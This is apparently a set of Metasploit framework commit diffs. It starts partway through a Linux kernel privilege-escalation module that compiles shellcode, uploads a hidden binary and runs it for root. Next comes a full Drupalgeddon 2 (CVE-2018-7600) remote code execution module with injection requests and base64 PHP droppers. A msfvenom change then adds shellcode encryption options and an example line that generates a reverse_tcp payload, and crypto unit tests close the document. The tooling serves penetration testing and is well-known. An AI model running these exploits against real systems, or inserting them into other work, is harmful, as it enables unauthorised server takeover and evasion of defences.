mmap_min_addr_path = '/proc/sys/vm/mmap_min_addr'
if file_exist? mmap_min_addr_path
mmap_min_addr = read_file mmap_min_addr_path
else
mmap_min_addr = ''
end
case mmap_min_addr
when ''
vprint_good 'vm.mmap_min_addr is not set'
when '0'
vprint_good 'vm.mmap_min_addr is zero'
else
vprint_error "vm.mmap_min_addr (#{mmap_min_addr}) is not zero"
return CheckCode::Safe
end
CheckCode::Appears
end
def exploit
sc = Metasm::ELF.new(@cpu)
if check == CheckCode::Safe
fail_with Failure::NotVulnerable, 'Target is not vulnerable'
end
if is_root?
fail_with Failure::BadConfig, 'Session already has root privileges'
end
unless cmd_exec("test -w '#{base_dir}' && echo true").include? 'true'
fail_with Failure::BadConfig, "#{base_dir} is not writable"
end
sc = Metasm::ELF.new @cpu
sc.parse %Q|
#ifdef __ELF__
.section ".bss" rwx
.section ".text" rwx
#endif
|
current_task_struct_h(sc)
if datastore["DEBUG_EXPLOIT"]
current_task_struct_h sc
if datastore['DEBUG_EXPLOIT']
cparser.parse "#define DEBUG\n"
end
case target.arch.first
when ARCH_X86
main = %q^
struct _IO_FILE;
@ -244,6 +312,7 @@ int *apparmor_enabled;
int got_ring0 = 0;
unsigned long uid, gid;
/*
static unsigned long get_kernel_sym(char *name)
{
FILE *f;
@ -278,7 +347,7 @@ static unsigned long get_kernel_sym(char *name)
fclose(f);
return 0;
}
*/
static void
change_cred(void)
@ -403,24 +472,22 @@ int main(int argc, char **argv) {
return got_ring0;
}
^
main.gsub!(/SHELLCODE/) do
# Split the payload into chunks and dump it out as a hex-escaped
# literal C string.
Rex::Text.to_c(payload.encoded, 64, "shellcode")
Rex::Text.to_c payload.encoded, 64, 'shellcode'
end
main.gsub!(/shellcode_size = 0/, "shellcode_size = #{payload.encoded.length}")
cparser.parse(main, "main.c")
cparser.parse main, 'main.c'
#$stderr.puts cparser.factorize
#return
asm = cpu.new_ccompiler(cparser, sc).compile
sc.parse asm
end
sc.assemble
sc.c_set_default_entrypoint
@ -429,7 +496,7 @@ int main(int argc, char **argv) {
elf = sc.encode_string
else
foo = sc.encode_string
elf = Msf::Util::EXE.to_linux_x86_elf(framework, foo)
elf = Msf::Util::EXE.to_linux_x86_elf framework, foo
end
rescue
print_error "Metasm Encoding failed: #{$!}"
@ -438,11 +505,13 @@ int main(int argc, char **argv) {
return
end
print_status "Writing exploit executable to #{executable_path} (#{elf.length} bytes)"
rm_f executable_path
write_file(executable_path, elf)
output = cmd_exec("chmod +x #{executable_path}; #{executable_path}")
output.each_line { |line| vprint_status(line.chomp) }
payload_path = "#{base_dir}/.#{rand_text_alphanumeric 8..12}"
upload payload_path, elf
cmd_exec "chmod +x #{payload_path}"
print_status 'Executing payload...'
output = cmd_exec payload_path
output.each_line { |line| vprint_status line.chomp }
end
end

View File

@ -0,0 +1,443 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
# XXX: CmdStager can't handle badchars
include Msf::Exploit::PhpEXE
include Msf::Exploit::FileDropper
def initialize(info = {})
super(update_info(info,
'Name' => 'Drupal Drupalgeddon 2 Forms API Property Injection',
'Description' => %q{
This module exploits a Drupal property injection in the Forms API.
Drupal 6.x, < 7.58, 8.2.x, < 8.3.9, < 8.4.6, and < 8.5.1 are vulnerable.
},
'Author' => [
'Jasper Mattsson', # Vulnerability discovery
'a2u', # Proof of concept (Drupal 8.x)
'Nixawk', # Proof of concept (Drupal 8.x)
'FireFart', # Proof of concept (Drupal 7.x)
'wvu' # Metasploit module
],
'References' => [
['CVE', '2018-7600'],
['URL', 'https://www.drupal.org/sa-core-2018-002'],
['URL', 'https://greysec.net/showthread.php?tid=2912'],
['URL', 'https://research.checkpoint.com/uncovering-drupalgeddon-2/'],
['URL', 'https://github.com/a2u/CVE-2018-7600'],
['URL', 'https://github.com/nixawk/labs/issues/19'],
['URL', 'https://github.com/FireFart/CVE-2018-7600'],
['AKA', 'SA-CORE-2018-002'],
['AKA', 'Drupalgeddon 2']
],
'DisclosureDate' => 'Mar 28 2018',
'License' => MSF_LICENSE,
'Platform' => ['php', 'unix', 'linux'],
'Arch' => [ARCH_PHP, ARCH_CMD, ARCH_X86, ARCH_X64],
'Privileged' => false,
'Payload' => {'BadChars' => '&>\''},
# XXX: Using "x" in Gem::Version::new isn't technically appropriate
'Targets' => [
#
# Automatic targets (PHP, cmd/unix, native)
#
['Automatic (PHP In-Memory)',
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Type' => :php_memory
],
['Automatic (PHP Dropper)',
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Type' => :php_dropper
],
['Automatic (Unix In-Memory)',
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Type' => :unix_memory
],
['Automatic (Linux Dropper)',
'Platform' => 'linux',
'Arch' => [ARCH_X86, ARCH_X64],
'Type' => :linux_dropper
],
#
# Drupal 7.x targets (PHP, cmd/unix, native)
#
['Drupal 7.x (PHP In-Memory)',
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Version' => Gem::Version.new('7.x'),
'Type' => :php_memory
],
['Drupal 7.x (PHP Dropper)',
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Version' => Gem::Version.new('7.x'),
'Type' => :php_dropper
],
['Drupal 7.x (Unix In-Memory)',
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Version' => Gem::Version.new('7.x'),
'Type' => :unix_memory
],
['Drupal 7.x (Linux Dropper)',
'Platform' => 'linux',
'Arch' => [ARCH_X86, ARCH_X64],
'Version' => Gem::Version.new('7.x'),
'Type' => :linux_dropper
],
#
# Drupal 8.x targets (PHP, cmd/unix, native)
#
['Drupal 8.x (PHP In-Memory)',
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Version' => Gem::Version.new('8.x'),
'Type' => :php_memory
],
['Drupal 8.x (PHP Dropper)',
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Version' => Gem::Version.new('8.x'),
'Type' => :php_dropper
],
['Drupal 8.x (Unix In-Memory)',
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Version' => Gem::Version.new('8.x'),
'Type' => :unix_memory
],
['Drupal 8.x (Linux Dropper)',
'Platform' => 'linux',
'Arch' => [ARCH_X86, ARCH_X64],
'Version' => Gem::Version.new('8.x'),
'Type' => :linux_dropper
]
],
'DefaultTarget' => 0, # Automatic (PHP In-Memory)
'DefaultOptions' => {'WfsDelay' => 2}
))
register_options([
OptString.new('TARGETURI', [true, 'Path to Drupal install', '/']),
OptString.new('PHP_FUNC', [true, 'PHP function to execute', 'passthru']),
OptBool.new('DUMP_OUTPUT', [false, 'If output should be dumped', false])
])
register_advanced_options([
OptBool.new('ForceExploit', [false, 'Override check result', false]),
OptString.new('WritableDir', [true, 'Writable dir for droppers', '/tmp'])
])
end
def check
checkcode = CheckCode::Safe
if drupal_version
print_status("Drupal #{@version} targeted at #{full_uri}")
checkcode = CheckCode::Detected
else
print_error('Could not determine Drupal version to target')
return CheckCode::Unknown
end
if drupal_unpatched?
print_good('Drupal appears unpatched in CHANGELOG.txt')
checkcode = CheckCode::Appears
end
token = random_crap
res = execute_command(token, func: 'printf')
if res && res.body.start_with?(token)
checkcode = CheckCode::Vulnerable
end
checkcode
end
def exploit
unless check == CheckCode::Vulnerable || datastore['ForceExploit']
fail_with(Failure::NotVulnerable, 'Set ForceExploit to override')
end
if datastore['PAYLOAD'] == 'cmd/unix/generic'
print_warning('Enabling DUMP_OUTPUT for cmd/unix/generic')
# XXX: Naughty datastore modification
datastore['DUMP_OUTPUT'] = true
end
# NOTE: assert() is attempted first, then PHP_FUNC if that fails
case target['Type']
when :php_memory
execute_command(payload.encoded, func: 'assert')
sleep(wfs_delay)
return if session_created?
# XXX: This will spawn a *very* obvious process
execute_command("php -r '#{payload.encoded}'")
when :unix_memory
execute_command(payload.encoded)
when :php_dropper, :linux_dropper
dropper_assert
sleep(wfs_delay)
return if session_created?
dropper_exec
end
end
def dropper_assert
php_file = Pathname.new(
"#{datastore['WritableDir']}/#{random_crap}.php"
).cleanpath
# Return the PHP payload or a PHP binary dropper
dropper = get_write_exec_payload(
writable_path: datastore['WritableDir'],
unlink_self: true # Worth a shot
)
# Encode away potential badchars with Base64
dropper = Rex::Text.encode_base64(dropper)
# Stage 1 decodes the PHP and writes it to disk
stage1 = %Q{
file_put_contents("#{php_file}", base64_decode("#{dropper}"));
}
# Stage 2 executes said PHP in-process
stage2 = %Q{
include_once("#{php_file}");
}
# :unlink_self may not work, so let's make sure
register_file_for_cleanup(php_file)
# Hopefully pop our shell with assert()
execute_command(stage1.strip, func: 'assert')
execute_command(stage2.strip, func: 'assert')
end
def dropper_exec
php_file = "#{random_crap}.php"
tmp_file = Pathname.new(
"#{datastore['WritableDir']}/#{php_file}"
).cleanpath
# Return the PHP payload or a PHP binary dropper
dropper = get_write_exec_payload(
writable_path: datastore['WritableDir'],
unlink_self: true # Worth a shot
)
# Encode away potential badchars with Base64
dropper = Rex::Text.encode_base64(dropper)
# :unlink_self may not work, so let's make sure
register_file_for_cleanup(php_file)
# Write the payload or dropper to disk (!)
# NOTE: Analysis indicates > is a badchar for 8.x
execute_command("echo #{dropper} | base64 -d | tee #{php_file}")
# Attempt in-process execution of our PHP script
send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, php_file)
)
sleep(wfs_delay)
return if session_created?
# Try to get a shell with PHP CLI
execute_command("php #{php_file}")
sleep(wfs_delay)
return if session_created?
register_file_for_cleanup(tmp_file)
# Fall back on our temp file
execute_command("echo #{dropper} | base64 -d | tee #{tmp_file}")
execute_command("php #{tmp_file}")
end
def execute_command(cmd, opts = {})
func = opts[:func] || datastore['PHP_FUNC'] || 'passthru'
vprint_status("Executing with #{func}(): #{cmd}")
res =
case @version.to_s
when '7.x'
exploit_drupal7(func, cmd)
when '8.x'
exploit_drupal8(func, cmd)
end
if res && res.code != 200
print_error("Unexpected reply: #{res.inspect}")
return
end
if res && datastore['DUMP_OUTPUT']
print_line(res.body)
end
res
end
def drupal_version
if target['Version']
@version = target['Version']
return @version
end
res = send_request_cgi(
'method' => 'GET',
'uri' => target_uri.path
)
return unless res && res.code == 200
# Check for an X-Generator header
@version =
case res.headers['X-Generator']
when /Drupal 7/
Gem::Version.new('7.x')
when /Drupal 8/
Gem::Version.new('8.x')
end
return @version if @version
# Check for a <meta> tag
generator = res.get_html_document.at(
'//meta[@name = "Generator"]/@content'
)
return unless generator
@version =
case generator.value
when /Drupal 7/
Gem::Version.new('7.x')
when /Drupal 8/
Gem::Version.new('8.x')
end
end
def drupal_unpatched?
unpatched = true
# Check for patch level in CHANGELOG.txt
uri =
case @version.to_s
when '7.x'
normalize_uri(target_uri.path, 'CHANGELOG.txt')
when '8.x'
normalize_uri(target_uri.path, 'core/CHANGELOG.txt')
end
res = send_request_cgi(
'method' => 'GET',
'uri' => uri
)
return unless res && res.code == 200
if res.body.include?('SA-CORE-2018-002')
unpatched = false
end
unpatched
end
def exploit_drupal7(func, code)
vars_get = {
'q' => 'user/password',
'name[#post_render][]' => func,
'name[#markup]' => code,
'name[#type]' => 'markup'
}
vars_post = {
'form_id' => 'user_pass',
'_triggering_element_name' => 'name'
}
res = send_request_cgi(
'method' => 'POST',
'uri' => target_uri.path,
'vars_get' => vars_get,
'vars_post' => vars_post
)
return res unless res && res.code == 200
form_build_id = res.get_html_document.at(
'//input[@name = "form_build_id"]/@value'
)
return res unless form_build_id
vars_get = {
'q' => "file/ajax/name/#value/#{form_build_id.value}"
}
vars_post = {
'form_build_id' => form_build_id.value
}
send_request_cgi(
'method' => 'POST',
'uri' => target_uri.path,
'vars_get' => vars_get,
'vars_post' => vars_post
)
end
def exploit_drupal8(func, code)
# Clean URLs are enabled by default and "can't" be disabled
uri = normalize_uri(target_uri.path, 'user/register')
vars_get = {
'element_parents' => 'account/mail/#value',
'ajax_form' => 1,
'_wrapper_format' => 'drupal_ajax'
}
vars_post = {
'form_id' => 'user_register_form',
'_drupal_ajax' => 1,
'mail[#type]' => 'markup',
'mail[#post_render][]' => func,
'mail[#markup]' => code
}
send_request_cgi(
'method' => 'POST',
'uri' => uri,
'vars_get' => vars_get,
'vars_post' => vars_post
)
end
def random_crap
Rex::Text.rand_text_alphanumeric(8..42)
end
end

View File

@ -63,7 +63,8 @@ def parse_args(args)
opt = OptionParser.new
banner = "MsfVenom - a Metasploit standalone payload generator.\n"
banner << "Also a replacement for msfpayload and msfencode.\n"
banner << "Usage: #{$0} [options] <var=val>"
banner << "Usage: #{$0} [options] <var=val>\n"
banner << "Example: #{$0} -p windows/meterpreter/reverse_tcp LHOST=<IP> -f exe -o payload.exe"
opt.banner = banner
opt.separator('')
opt.separator('Options:')
@ -105,6 +106,25 @@ def parse_args(args)
raise HelpError, msg
end
opt.on('--encrypt <value>', String, 'The type of encryption or encoding to apply to the shellcode') do |e|
opts[:encryption_format] = e
end
opt.on('--encrypt-formats', String, 'List Available encryption formats') do
init_framework(:module_types => [])
msg = "Encryption formats:\n" +
"\t" + ::Msf::Simple::Buffer.encryption_formats.join(", ")
raise HelpError, msg
end
opt.on('--encrypt-key <value>', String, 'A key to be used for the encryptor') do |e|
opts[:encryption_key] = e
end
opt.on('--encrypt-iv <value>', String, 'An initialization vector for the encryption') do |e|
opts[:encryption_iv] = e
end
opt.on('-e', '--encoder <encoder>', String, 'The encoder to use') do |e|
opts[:encoder] = e
end
@ -336,8 +356,8 @@ if generator_opts[:list_options]
$stderr.puts "Advanced options for #{payload_mod.fullname}:\n\n"
$stdout.puts ::Msf::Serializer::ReadableText.dump_advanced_options(payload_mod, ' ')
$stderr.puts "Evasion options for #{payload_mod.fullname}:\n\n"
$stdout.puts ::Msf::Serializer::ReadableText.dump_evasion_options(payload_mod, ' ')
$stderr.puts "Encryption options for #{payload_mod.fullname}:\n\n"
$stdout.puts ::Msf::Serializer::ReadableText.dump_encrypt_options(payload_mod, ' ')
exit(0)
end

View File

@ -1056,7 +1056,7 @@ RSpec.describe Msf::PayloadGenerator do
}
}
it 'applies the appropriate transform format' do
expect(::Msf::Simple::Buffer).to receive(:transform).with(shellcode, 'c', 'buf')
expect(::Msf::Simple::Buffer).to receive(:transform).with(shellcode, 'c', 'buf', {})
payload_generator.format_payload(shellcode)
end
end

View File

@ -0,0 +1,62 @@
require 'spec_helper'
require 'securerandom'
RSpec.describe Rex::Crypto do
let(:iv) {
SecureRandom.random_bytes(16)
}
let(:key) {
SecureRandom.random_bytes(32)
}
let(:value) {
'Hello World'
}
describe '#encrypt_aes256' do
it 'raises an exception due to a short IV' do
iv = SecureRandom.random_bytes(1)
# Because it could raise either a OpenSSL::Cipher::CipherError or an ArgumentError
# dependong on the environment, we will just expect it to raise an exception
expect { Rex::Crypto.encrypt_aes256(iv, key, value) }.to raise_exception
end
it 'raises an exception due to a short key' do
key = SecureRandom.random_bytes(1)
# Because it could raise either a OpenSSL::Cipher::CipherError or an ArgumentError
# dependong on the environment, we will just expect it to raise an exception
expect { Rex::Crypto.encrypt_aes256(iv, key, value) }.to raise_exception
end
it 'encrypts the string Hello World' do
encrypted_str = Rex::Crypto.encrypt_aes256(iv, key, value)
expect(encrypted_str).not_to eq(value)
end
end
describe '#decrypt_aes256' do
it 'raises an exception due to a short IV' do
iv = SecureRandom.random_bytes(1)
# Because it could raise either a OpenSSL::Cipher::CipherError or an ArgumentError
# dependong on the environment, we will just expect it to raise an exception
expect { Rex::Crypto.decrypt_aes256(iv, key, value) }.to raise_exception
end
it 'raises an exception due to a short key' do
key = SecureRandom.random_bytes(1)
# Because it could raise either a OpenSSL::Cipher::CipherError or an ArgumentError
# dependong on the environment, we will just expect it to raise an exception
expect { Rex::Crypto.decrypt_aes256(iv, key, value) }.to raise_exception
end
it 'decrypts the value to Hello World' do
encrypted_str = Rex::Crypto.encrypt_aes256(iv, key, value)
decrypted_str = Rex::Crypto.decrypt_aes256(iv, key, encrypted_str)
expect(decrypted_str).to eq(value)
end
end
end

View File

@ -0,0 +1,28 @@
require 'spec_helper'
require 'securerandom'
RSpec.describe Rex::Crypto do
describe '#rc4' do
let(:key) {
SecureRandom.random_bytes(32)
}
let(:value) {
'Hello World'
}
it 'encrypts a string' do
expect(Rex::Crypto.rc4(key, value)).not_to eq(value)
end
it 'decrypts a string' do
encrypted_str = Rex::Crypto.rc4(key, value)
decrypted_str = Rex::Crypto.rc4(key, encrypted_str)
expect(decrypted_str).to eq(value)
end
end
end